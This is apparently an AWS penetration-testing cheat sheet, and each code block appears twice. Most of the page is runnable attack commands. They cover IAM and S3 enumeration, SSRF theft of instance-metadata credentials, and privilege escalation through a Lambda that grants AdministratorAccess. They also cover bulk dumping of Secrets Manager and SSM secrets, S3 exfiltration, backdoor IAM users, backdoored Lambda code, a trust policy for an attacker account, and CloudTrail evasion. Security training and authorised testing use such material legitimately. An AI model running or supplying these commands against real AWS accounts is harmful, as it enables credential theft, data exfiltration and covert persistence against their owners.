AWS Pentesting
AWS environments are often compromised through misconfigured IAM permissions, exposed S3 buckets, and Server-Side Request Forgery (SSRF) attacks targeting the Instance Metadata Service (IMDS).
AWS Pentesting Kill Chain
Initial Access & Enumeration
Identity & IAM Enumeration
# Check current identity
aws sts get-caller-identity
# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups
# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>
# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXX# Check current identity
aws sts get-caller-identity
# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups
# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>
# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXXS3 Bucket Enumeration
# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable
# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -
# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request
# Mass scan for open buckets
s3scanner scan --bucket-file targets.txt# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable
# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -
# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request
# Mass scan for open buckets
s3scanner scan --bucket-file targets.txtService Enumeration
# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table
# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table
# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function
# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption
# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output table# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table
# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table
# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function
# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption
# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output tableMetadata Service Exploitation
Warning
SSRF to IMDS Attack Flow
# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)
# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data
# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity # Verify — should show the EC2 role# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)
# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data
# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity # Verify — should show the EC2 roleIAM Privilege Escalation
AWS IAM has over 20 known privilege escalation paths. The most common involve creating new access keys, assuming roles, or modifying policies. Pacu automates discovery of these paths.
| Technique | Required Permission | Impact |
|---|---|---|
| Create access key for another user | iam:CreateAccessKey | Impersonate any user (including admins) |
| Attach admin policy to self | iam:AttachUserPolicy | Full admin — attach AdministratorAccess |
| Create new policy version | iam:CreatePolicyVersion | Modify existing policy to add wildcards |
| Assume role | sts:AssumeRole | Pivot to more privileged role (cross-account) |
| Pass role to Lambda | iam:PassRole + lambda:CreateFunction | Execute code as any role in the account |
| Update Lambda code | lambda:UpdateFunctionCode | Inject code into existing Lambda (uses its role) |
# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions # Discover what you can do
> run iam__privesc_scan # Find escalation paths
> run iam__backdoor_users_keys # Create backdoor access keys
# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin
# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account
# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
client = boto3.client('iam')
client.attach_user_policy(
UserName='your-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
--handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
--role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txt# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions # Discover what you can do
> run iam__privesc_scan # Find escalation paths
> run iam__backdoor_users_keys # Create backdoor access keys
# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin
# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account
# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
client = boto3.client('iam')
client.attach_user_policy(
UserName='your-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
--handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
--role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txtPost-Exploitation & Persistence
# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request
# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done
# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
echo "=== $param ==="
aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done
# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
echo "[+] Downloading $func"
URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
curl -s -o "$func.zip" "$URL"
unzip -o "$func.zip" -d "./$func/"
grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request
# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done
# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
echo "=== $param ==="
aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done
# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
echo "[+] Downloading $func"
URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
curl -s -o "$func.zip" "$URL"
unzip -o "$func.zip" -d "./$func/"
grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user
# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent
# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip
# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user
# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent
# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip
# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)AWS Tools
| Tool | Category | Best For |
|---|---|---|
| Pacu | Exploitation | Full AWS exploitation framework — priv esc, persistence, exfil |
| enumerate-iam | Enumeration | Brute-force IAM permission discovery |
| S3Scanner | Scanning | Open S3 bucket discovery and content dumping |
| CloudMapper | Visualization | AWS environment mapping and network diagrams |
| Prowler | Auditing | CIS benchmarks, security posture assessment |
| ScoutSuite | Auditing | Multi-cloud security auditing with HTML reports |
| WeirdAAL | Enumeration | AWS attack library — data exfil, recon, persistence |
AWS Pentesting Labs
Hands-on practice with AWS attack techniques in intentionally vulnerable environments.